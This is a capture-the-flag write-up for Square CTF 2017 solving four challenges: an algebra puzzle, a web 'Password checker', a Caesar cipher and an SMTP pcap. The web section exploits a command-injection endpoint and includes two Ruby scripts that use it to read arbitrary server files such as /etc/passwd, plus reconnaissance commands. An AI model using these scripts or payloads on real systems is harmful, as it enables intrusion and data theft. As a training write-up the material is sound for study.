Square CTF 2017 - Write-ups

Informations

Version

By Version Comment
noraj 1.0 Creation

CTF

  • Name : Square CTF 2017
  • Website : squarectf.com
  • Type : Online
  • Format : Jeopardy
  • CTF Time : link

10 - apple banana pineapple - Image processing

The androids have been showing this puzzle to our humans as a "brainteaser" and it's driven at least one cryptographer to despair. If we can find the solution and get it to our humans, maybe they'll realize that we care for their welfare and the robots don't.

Solve this formula for the smallest positive integer values of apple, banana, and pineapple. Then to capture this flag, you must find the sum of apple, banana, and pineapple and prepend "flag-" to that number.

TL;DR : This is complex. WolfRamAlpha won't help. Read this.

To find this you needed to do a reverse picture search like the category Image processing suggested. But you couldn't because the image was rotated so I found by searching 95% of people can't solve this on Google Image.

Flag was flag-195725546580804863527010379187516702463973843196699016314931210363268850137105614.

50 - Password checker - Web Security

See if your password is secure! Or whether this portal is secure!

After the announcement of a catastrophic breach of PICI (Personally Identifiable Cat Information) by Evil Robot Corp, we used Shodan to see if there were any interesting new attack vectors in their IP space and found this weird password checker portal. It looks totally hackable. Can you see if you can exfiltrate files out of the portal?

This challenge will be discussed at Capture the Flag: Learning to Hack for Fun and Profit at the 2017 Grace Hopper Celebration.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ curl -k https://zilez-temah-bidol-cecev-gizyr.capturethesquare.com/
<html>
<head>
<title>Password Checker</title>
<script type="text/javascript">
function validate(objForm) {
let toBeCheckedValue = objForm.elements['password'].value;
let xmlHttp = new XMLHttpRequest();
xmlHttp.open('GET', '/run.php?cmd=cat%20../password.txt', false);
xmlHttp.send(null);
let actualValue = xmlHttp.responseText;
if (toBeCheckedValue != actualValue) {
alert('Passwords don\'t match!');
} else {
alert('Password validated!');
}
}
</script>
</head>
<body>
<center>
Check your password!<br /><br />
<form onsubmit="validate(this);">
<input type="password" name="password" />
<button type="submit">Submit</button>
</form>
</body>
</html>

We can abuse the cmd GET param.

  • https://zilez-temah-bidol-cecev-gizyr.capturethesquare.com/run.php?cmd=cat%20../password.txt: password123 (useless)
  • https://zilez-temah-bidol-cecev-gizyr.capturethesquare.com/run.php?cmd=whoami: www-data of course
  • https://zilez-temah-bidol-cecev-gizyr.capturethesquare.com/run.php?cmd=id: uid=33(www-data) gid=33(www-data) groups=33(www-data)
  • https://zilez-temah-bidol-cecev-gizyr.capturethesquare.com/run.php?cmd=uname%20-r: 4.4.64+
  • https://zilez-temah-bidol-cecev-gizyr.capturethesquare.com/run.php?cmd=find%20/%20-perm%20-u=s%20-type%20f%202%3E/dev/null: /usr/bin/newgrp

But it will return us only one line (for example 1st line of a file or of the output of the command).

So I this leak.rb ruby script to fully read a file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
require 'net/https'
# Vulnerable URL
uri = URI('https://zilez-temah-bidol-cecev-gizyr.capturethesquare.com/run.php')
# Take file from arg
file = ARGV[0]
# http config
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
# get the nomber of lines of the file
params = { :cmd => "wc -l #{file}" }
uri.query = URI.encode_www_form(params)
req = Net::HTTP::Get.new(uri)
res = http.request(req)
lines = res.body.match(/([0-9]*) /).captures[0] if res.is_a?(Net::HTTPSuccess)
# now get the file content line by line
(1..lines.to_i).each do |i|
params = { :cmd => "sed '#{i}!d' #{file}" }
uri.query = URI.encode_www_form(params)
req = Net::HTTP::Get.new(uri)
res = http.request(req)
puts res.body if res.is_a?(Net::HTTPSuccess)
end

Let's try it now:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
$ ruby leak.rb /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:103:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:104:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:105:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:106:systemd Bus Proxy,,,:/run/systemd:/bin/false
$ ruby leak.rb run.php
<?php
$line = exec($_GET['cmd']);
echo $line;
?>
$ ruby leak.rb /etc/os-release
PRETTY_NAME="Debian GNU/Linux 8 (jessie)"
NAME="Debian GNU/Linux"
VERSION_ID="8"
VERSION="8 (jessie)"
ID=debian
HOME_URL="http://www.debian.org/"
SUPPORT_URL="http://www.debian.org/support"
BUG_REPORT_URL="https://bugs.debian.org/"

We may also want to do the same for commands and not only for files, so here is the ruby for that cmd.rb:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
require 'net/https'
# Vulnerable URL
uri = URI('https://zilez-temah-bidol-cecev-gizyr.capturethesquare.com/run.php')
# Take cmd from arg
cmd = ARGV[0]
# http config
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
# get the nomber of lines of the output
params = { :cmd => "#{cmd} | wc -l" }
uri.query = URI.encode_www_form(params)
req = Net::HTTP::Get.new(uri)
res = http.request(req)
lines = res.body.match(/([0-9]*)/).captures[0] if res.is_a?(Net::HTTPSuccess)
# now get the cmd output line by line
(1..lines.to_i).each do |i|
params = { :cmd => "#{cmd} | sed '#{i}!d'" }
uri.query = URI.encode_www_form(params)
req = Net::HTTP::Get.new(uri)
res = http.request(req)
puts res.body if res.is_a?(Net::HTTPSuccess)
end

Let's have fun now!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
$ ruby cmd.rb "ls -lAh"
total 8.0K
-rw-r--r-- 6 root root 679 Oct 4 18:36 index.html
-rw-r--r-- 3 root root 49 Oct 4 18:36 run.php
$ ruby cmd.rb "ls -lAh ../"
total 16K
-rw-r--r-- 1 root root 73 Oct 6 18:54 flag.txt
drwxr-xr-x 2 root root 4.0K Oct 6 14:11 html
-rw-r--r-- 5 root root 12 Oct 4 18:36 password.txt
-rw-r--r-- 4 root root 15 Oct 4 18:36 xxx_not_a_flag.txt
$ ruby leak.rb ../flag.txt
line 1: flag-hilit-zyfaz-sedec-myfuk-zipym
line 2: flap-31aac7e26de449ee

Bonus : as the structure was very simple scripting was not necessary, instead it was possible to use those payloads: cmd=ls -l ../ | grep flag and cmd=cat ../flag.txt | grep flag.

50 - The General's Cat - Crypto

Decrypt this ancient scientific article

The androids’ plans for domination include securing ancient artifacts relating to the animal world to be used for nefarious means. We managed to infiltrate one of their digsites and intercepted this ancient scientific tome, but it's encrypted! We think it relates to Julius Caesar's time in Rome, for he was a great friend and benefactor to the feline community. We could use your cryptanalysis skills to determine the contents of this tome and whether it will give us any leverage against our enemies.

Kyv ufdvjkzt trk (Wvczj jzcmvjkizj trklj fi Wvczj trklj) zj r jdrcc, kpgztrccp wliip, triezmfiflj drddrc. Kyvp riv fwkve trccvu yfljv trkj nyve bvgk rj zeuffi gvkj fi jzdgcp trkj nyve kyviv zj ef evvu kf uzjkzexlzjy kyvd wifd fkyvi wvczuj reu wvczevj. Trkj riv fwkve mrclvu sp yldrej wfi tfdgrezfejyzg reu wfi kyvzi rszczkp kf ylek mvidze. Kyviv riv dfiv kyre 70 trk sivvuj, kyflxy uzwwvivek rjjftzrkzfej giftcrzd uzwwvivek eldsvij rttfiuzex kf kyvzi jkreuriuj. Kyv wcrx zj kyv gyirjv nzky urjyvj: wcrx nyrk zj r ufdvjkzt trk.

This challenge will be discussed at Capture the Flag: Learning to Hack for Fun and Profit at the 2017 Grace Hopper Celebration.

Use the Ruby powa to bruteforce caesar cipher:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#!/usr/bin/env ruby
# from https://gist.github.com/matugm/db363c7131e6af27716c
def caesar_cipher(string, shift = 1)
alphabet = Array('a'..'z')
encrypter = Hash[alphabet.zip(alphabet.rotate(shift))]
# " " => c because I don't want to void non-letters chars
string.chars.map { |c| encrypter.fetch(c, c) }
end
text = "Kyv ufdvjkzt trk (Wvczj jzcmvjkizj trklj fi Wvczj trklj) zj r jdrcc, kpgztrccp wliip, triezmfiflj drddrc. Kyvp riv fwkve trccvu yfljv trkj nyve bvgk rj zeuffi gvkj fi jzdgcp trkj nyve kyviv zj ef evvu kf uzjkzexlzjy kyvd wifd fkyvi wvczuj reu wvczevj. Trkj riv fwkve mrclvu sp yldrej wfi tfdgrezfejyzg reu wfi kyvzi rszczkp kf ylek mvidze. Kyviv riv dfiv kyre 70 trk sivvuj, kyflxy uzwwvivek rjjftzrkzfej giftcrzd uzwwvivek eldsvij rttfiuzex kf kyvzi jkreuriuj. Kyv wcrx zj kyv gyirjv nzky urjyvj: wcrx nyrk zj r ufdvjkzt trk."
text.downcase! # put lowercase
(1..25).each do |i|
puts "#{i}: " + caesar_cipher(text, i).join + "\n\n"
end

Execute:

1
2
3
4
5
6
7
8
$ ruby caesar.rb
1: lzw vgewklau usl (xwdak kadnwkljak uslmk gj xwdak uslmk) ak s kesdd, lqhausddq xmjjq, usjfangjgmk eseesd. lzwq sjw gxlwf usddwv zgmkw uslk ozwf cwhl sk afvggj hwlk gj kaehdq uslk ozwf lzwjw ak fg fwwv lg vaklafymakz lzwe xjge glzwj xwdavk sfv xwdafwk. uslk sjw gxlwf nsdmwv tq zmesfk xgj ugehsfagfkzah sfv xgj lzwaj stadalq lg zmfl nwjeaf. lzwjw sjw egjw lzsf 70 usl tjwwvk, lzgmyz vaxxwjwfl skkguaslagfk hjgudsae vaxxwjwfl fmetwjk suugjvafy lg lzwaj klsfvsjvk. lzw xdsy ak lzw hzjskw oalz vskzwk: xdsy ozsl ak s vgewklau usl.
[...]
9: the domestic cat (felis silvestris catus or felis catus) is a small, typically furry, carnivorous mammal. they are often called house cats when kept as indoor pets or simply cats when there is no need to distinguish them from other felids and felines. cats are often valued by humans for companionship and for their ability to hunt vermin. there are more than 70 cat breeds, though different associations proclaim different numbers according to their standards. the flag is the phrase with dashes: flag what is a domestic cat.
[...]

So the flag is flag-what-is-a-domestic-cat.

50 - The Robot's Grandmother - Forensics

Robots have grandparents too!

Every once in a while we see the Grand Robot Leader Extraordinaire communicating over email with the Grand Robot Matriarch. We suspect there might be secret communications between the two, so we tapped into the network links at the Matriarch's house to see if we could grab the password to the account. We got this file, but our network admin is gone for two weeks training pigeons to carry packets. So we don't actually know how to read this file. Can you help us?

This challenge will be discussed at Capture the Flag: Learning to Hack for Fun and Profit at the 2017 Grace Hopper Celebration.

https://cdn.squarectf.com/challenges/the-robot's-grandmother.pcap

Self-explanatory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
$ strings the-robots-grandmother.pcap
220 x.shh.sh ESMTP Exim 4.86 Wed, 06 Sep 2017 22:11:43 +0000
ehlo x.shh.sh
250-x.shh.sh Hello x.shh.sh [::1]
250-SIZE 52428800
250-8BITMIME
250-PIPELINING
250-AUTH LOGIN
250-STARTTLS
250-PRDR
250 HELP
auth login
334 VXNlcm5hbWU6
bWFsbG9yeQ==
334 UGFzc3dvcmQ6
ZmxhZy1zcGluc3Rlci1iZW5lZml0LWZhbHNpZnktZ2FtYmlhbg==
535 Incorrect authentication data
7421 x.shh.sh lost input connection
$ printf %s 'VXNlcm5hbWU6' | base64 -di
Username:
$ printf %s 'bWFsbG9yeQ==' | base64 -di
mallory
$ printf %s 'ZmxhZy1zcGluc3Rlci1iZW5lZml0LWZhbHNpZnktZ2FtYmlhbg==' | base64 -di
flag-spinster-benefit-falsify-gambian
Share